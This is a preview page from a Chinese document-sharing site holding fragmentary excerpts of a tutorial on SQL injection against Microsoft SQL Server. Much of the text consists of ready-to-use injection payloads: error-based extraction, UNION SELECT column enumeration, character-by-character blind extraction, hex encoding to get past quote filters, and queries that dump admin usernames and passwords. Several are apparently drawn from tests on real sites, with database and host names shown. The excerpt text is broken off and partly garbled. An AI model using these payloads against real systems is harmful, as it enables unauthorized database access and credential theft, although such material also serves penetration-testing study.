ImageVerifierCode 换一换
格式:DOCX , 页数:41 ,大小:4.01MB ,
资源ID:7062698      下载积分:3 金币
快捷下载
登录下载
邮箱/手机:
温馨提示:
快捷下载时,用户名和密码都是您填写的邮箱或者手机号,方便查询和重复下载(系统自动生成)。 如填写123,账号就是123,密码也是123。
特别说明:
请自助下载,系统不会自动发送文件的哦; 如果您已付费,想二次下载,请登录后访问:我的下载记录
支付方式: 支付宝    微信支付   
验证码:   换一换

加入VIP,免费下载
 

温馨提示:由于个人手机设置不同,如果发现不能下载,请复制以下地址【https://www.bingdoc.com/d-7062698.html】到电脑端继续下载(重复下载不扣费)。

已注册用户请登录:
账号:
密码:
验证码:   换一换
  忘记密码?
三方登录: 微信登录   QQ登录  

下载须知

1: 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。
2: 试题试卷类文档,如果标题没有明确说明有答案则都视为没有答案,请知晓。
3: 文件的所有权益归上传用户所有。
4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
5. 本站仅提供交流平台,并不能对任何下载内容负责。
6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

版权提示 | 免责声明

本文(Sqlserver数据库注入总结终Word格式.docx)为本站会员(b****4)主动上传,冰点文库仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。 若此文所含内容侵犯了您的版权或隐私,请立即通知冰点文库(发送邮件至service@bingdoc.com或直接QQ联系客服),我们立即给予删除!

Sqlserver数据库注入总结终Word格式.docx

1、=22进一步判断。可以想象sql语句可能是:select * from table where string=0103,这是一个完整的sql语句,可以构造语句:,我们添加的语句是:2,正好可以使原先的左右两边的单引号闭合。其中在的地方我们可以用1=1来代替,sql查询返回的结果是正常的,但是使用a=a返回错误,使用a返回正确,这里等号两边是数字应该是个特例。可以在and 的地方构造需要的sql注入语句。2.1.2 判断是否是mssql and (select count(*) from sysobjects)1 and !3 Mssql每个数据库都存在表sysobject,因此如果是mssql

2、数据库的话,查询语句返回的结果一定是大于1的,即select count(*) from sysobjects)1逻辑是正确的,页面返回正常。2.1.3 mssql版本 and 1=(select version) and 其中and 3是永远成立的条件,语义是字符串不等于字符串3,这里我们可以构造其他任意成立的条件,例如1、2、a等等。2.1.4 当前用户 and 1=(select user) and 2.1.5 当前数据库 and 1=(select db_name() and 当前库为Gwork_ahnd2.1.6 爆出所有数据库 and 1=(select name from mas

3、ter.dbo.sysdatabases where dbid=1) and 通过改变dbid的值,如1、2、3等等,所有数据库都可以爆出来。2.1.7 判断用户权限判断服务器角色: and 1=(select IS_SRVROLEMEMBER(sysadmin) and 服务器角色权限有:sysadmin、serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin等等判断数据库角色: and 1=(select is_member(db_owner数据库角色权限有:public、db_owner等等 当单引号被过滤时候,可以将单引号等字符

4、转化为16进制的,即:is_member(char(0x64)%2Bchar(0x62)%2Bchar(0x5f)%2Bchar(0x6f)%2Bchar(0x77)%2Bchar(0x6e)%2Bchar(0x65)%2Bchar(0x72) 判断是否是sa权限,需要判断下服务器角色:select IS_SRVROLEMEMBER(),返回1,则是sa权限sa权限用户具有public和db_owner权限,但是具有public和db_owner权限的用户不一定是sa最高权限。 此处的用户权限是db_owner:2.2 爆表名信息2.2.1 确定表数目 and (select cast(cou

5、nt(*) as varchar(100)%2bchar(94) from sysobjects where xtype=u)=1 and 其中注意几个方面,一个是cast函数的使用,将用户表数据取出后转化为varchar类型,然后和“”字符连接,“%2b”是字符“+”的url编码形式,“+”在mssql中是连接字符串的。在这里,必须用%2b代替“+”,不然报错。Char(94)=2.2.2 爆第一个表表名 and (select top 1 name from sysobjects where xtype=)2.2.3 爆余下的表名方法一:用not in and convert(int,(s

6、elect top 1 name from sysobjects where xtype= and name not in (PY_WKJSJDJKS)方法二:用select top and name not in (select top 1 name from sysobjects where xtype=2.3 爆列名信息2.3.1 爆第一个列名,用having 1=1 and (select * from PY_WKJSJDJKS having 1=1)Having是要和group by一起用的,如果不在一起出现,则会报错,因此使用having 1=1会爆出表列名。2.3.2 爆第二个列

7、名,用group by and (select * from PY_WKJSJDJKS group by xh)Group by的语法是指定查询结果的分组条件,在select后面的列名数要和group by后面的列名数要相等,不然会报错。如上,select后面的列数是表中所有的列,但是group by后面的列数只有两个,因此报错。2.4 爆数据信息2.4.1 读第一条数据(读Web_InfoKinds表的name列的数据) and (select top 1 name from Web_InfoKinds)2.4.2 读第二条数据not in and convert(int,(select t

8、op 1 name from Web_InfoKinds where name not in(部门简介这个方法在语法上是没错的,但是就是报错跑不出数据select top and convert(int,(select top 1 name from Web_InfoKinds where name not in(select top 1 name from Web_InfoKinds)以上方法二都比方法一高效一点。其中发现了个问题,就是当需要爆的数据类型是int型时,数据库不显错。例如知道表名loging_user,列名username(nvarchar)和passwd(nvarchar)(

9、但是数据是像123456这种形式的),userid,当我们爆username的时候,可以使用语句:convert(int,(select top 1 username from login_user)1,因为nvarchar向int转化时出错,能够爆出数据。但是用在爆密码passwd上则不行,convert(int,(select top 1 passwd from login_user)1,没有回显,因为都是数字型的,没有类型转化错误。尝试过奖convert后的int改为别的数据类型,例如varchar、char等等都不行。还有就是将查询出来的密码用连接符连接一个字符,形如:(select

10、top 1 passwd from login_user)+a、(select top 1 passwd from login_user)+等等,尝试好多也不能报错。有效的突破方法如下:1) and substring(select top 1 passwd from login_user),1,1)=0 and 这个方法需要知道表名和列名,只剩下爆数据的步骤了,正好符合我们现在的需求。在执行以上语句之前,我们可以先确定列数据的长度,语句如下:(select top 1 len(passwd) from login_user)=5,将5这个数字换成别的不断测试,知道页面返回正常为止,对于一般的

11、列数据长度不是很长,我们很容易获得列数据的长度信息。2)select count(*) from test where substring(pu,2,1)=1 and cu=aaaaaaa在本地建了个test数据库,表中建立表test,分别有字段pu(char(10)、cu(char(10)、s(int(4),如下图所示:构造查询语句如下:select count(*) from test where substring(pu,2,1)=1 and cu=这里可以通过substring函数,逐位爆出字段的数据,前提是pu的数据类型是char/varchar、nchar/nvarchar 和 b

12、inary/varbinary。如果数据类型换成int型则会出现使用substring函数无效: 所以对于数据类型是int的数据库字段的数据这种方法还是不行的,对于数据类型是非int,但是数据是数字串的(如111111)是可以使用这种方法爆出数据的。第三章 mssql不显错模式注入(字符型注入)3.1 判断是否有注入 结果:提示有未闭合的引号,通过报错有时可以看到网站目录。继续测试,用以下语句:c:iknowdocsharedatacur_work and 1=1将 varchar 值 10 and 1=1 转换为数据类型为 int 的列时发生语法错误。所以判断这里应该是字符型注入。 之后用以

13、下语句做进一步测试: and 1=1-页面返回正常 and 1=2-页面返回不正常或123.2基本信息3.2.1 判断联合查询数(数据库) order by 8-3.2.2 构造联合查询语句 and 1=2 union select 1,2,3,4,5,6,7,8-3.2.3 数据库版本 and 1=2 union select 1,2,version,4,5,6,7,8-3.2.4 数据库当前用户 and 1=2 union select 1,2,user,4,5,6,7,8-注:select system_user();select suser_sname();select user;3.

14、2.5 列出用户and 1=2 union select 1,2,name,4,5,6,7,8 from master.syslogins-3.2.6 当前用户权限:(若为sysadmin,返回1,其他返回0)select is_srvolemenber(user); and 1=2 union select 1,2,3,4,is_srvrolemember(ahjianli),6,7,8 -IS_SRVROLEMEMBER3.2.7 数据库服务器主机名and 1=2 union select 1,2,3,4,servername,6,7,8 -服务器名称为:TYIIUIY-DCD0664 3

15、.2.8 当前数据库and 1=2 union select 1,2,3,4,db_name(),6,7,8 -当前数据库名为:coffe3.2.9 列出数据库and 1=2 union select 1,2,3,4,name,6,7,8 from master.sysdatabases-3.3 列出当前数据库表and 1=2 union select 1,2,3,4,name,6,7,8 from sysobjects where xtype=-读数据库表v-读数据库视图列出master数据库表:and 1=2 union select 1,2,3,4,name,6,7,8 from mas

16、ter.sysobjects where xtype=-3.4 列出表列and 1=2 union select 1,2,3,4,name,6,7,8 from syscolumns where id=object_id(admin)-从admin表中读列3.5 爆数据信息and 1=2 union select 1,2,password,4,username,6,7,8 from admin-从admin表中读数据第四章 mssql特殊情况的绕过方法(数字型注入)注点:,这个点可以使用报错来获得敏感信息,不能使用union select联合查询。其中报错的时候在数据库第一个表时使用xtype

17、=报错,需要用xtype=char(117)来进行绕过。还有就是使用union查询时,发现了一个问题,order by可以获取表的字段数,但是使用union select 1,2的时候报出运算元类型错误:text与int不相容的错误,然后将select后面的数字改为null,还是不能绕过,报出的错误是:不能选取text资料类型作为distinct,因为无法比较。其中如果数据类型是text、ntext和image都会报这个错误。又使用union all select,还是无法通过。具体显错模式报爆数据如下:4.1基本信息 4.1.1判断存在注入 and 1=21=1返回正常页面,1=2返回不正常

18、,可以确定这个点事数字型的4.1.2 判断是否是mssql4.1.3判断mssql版本4.1.3.1 显错模式 and (select version)这里爆出了数据库的版本为2005,操作系统是2003。4.1.3.2 order by不显错模式突破方法 在这里可以使用order by,从而知道表的字段数,但是使用union select时出错。出现:“操作数类型冲突: ntext 与 int 不兼容”错误。这里得说明一下为什么会出现以上错误。大多数情况下,我们使用union联合查询可以很快获得目标数据的组织情况,然而当我们遇到ntext、text或image数据类型时,union查询就不管

19、用了。在sql server中这种情况下或抛出错误:不能以 DISTINCT 方式选择 text、ntext 或 image 数据类型,因为它不可比。因为ntext、text、image数据字段可能存储非常多的数据,默认情况下,数据库为提高效率会强制排除以上类型的大字段中的相同的数据,这样就相当于在sql查询语句中加入了distinct关键字。而又因为这种类型的数据量可能非常大,数据库无法对这种类型的字段进行有效的比较,而distinct又要求数据库进行比较,从而导致上述的错误现象。突破方法:1.用null代替数字 将数字换成null,还是出错;使用union all select也不能突破这

20、个点无论怎么弄,都不能突破,还是挺变态的。下面介绍一个可以突破的例子:注点(数字型):先order by出有28个表字段,再构造union联合查询语句: and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28-在union后用null代替数据 and 1=2 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28- 出现错误: nte

21、xt 与 int 不兼容”2.Union后加all关键字突破 and 1=2 union all select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null-页面能返回但是不显示数据,因为数据全被null填充了。看了下,页面上显示的都是大块的内容,那可以猜想他们的数据类型是text或ntext,这时需要找到这些数据类型的字段位置,可以逐一将null换成数字,看是否

22、报错,如果某位置报错,则这个位置是text型数据,全部text数据分布如下: and 1=2 union all select 1,2,3,4,5,6,null,null,9,10,11,12,13,14,15,16,17,18,19,20,21,null,23,null,25,null,27,28-这时我们逐一将null替换成爆数据的语句,例如version、user等等,当我试到第二个null的位置处时发现爆出了数据。 and 1=2 union all select 1,2,3,4,5,6,null,version,9,10,11,12,13,14,15,16,17,18,19,20,2

23、1,null,23,null,25,null,27,28-4.1.4 当前用户 and (select user)当前用户为DB899562514.1.5 当前数据库 and (select db_name()当前数据库为alung4.1.6 爆出所有数据库 and 1=(select name from master.dbo.sysdatabases where dbid=1)第一个数据库为master4.1.7判断用户权限 and 1=(select IS_SRVROLEMEMBER()这里由于过滤了单引号,所以返回错误。尝试将转化为16进制0x2773797361646D696E27以及char(0x27)+sysadmin+char(0x27)都不能突破,但是将十六进制数写成如下形式可以如破:0x273D0069006E002700 and 1=(select is_member(Db_owner十六进制变形:0x640062005F006F0077006E00650072004.2爆表名4.2.1 爆第一个表表名)在这里由于网站过滤了单引号,所有直接输入以上命令会出现错

copyright@ 2008-2023 冰点文库 网站版权所有

经营许可证编号:鄂ICP备19020893号-2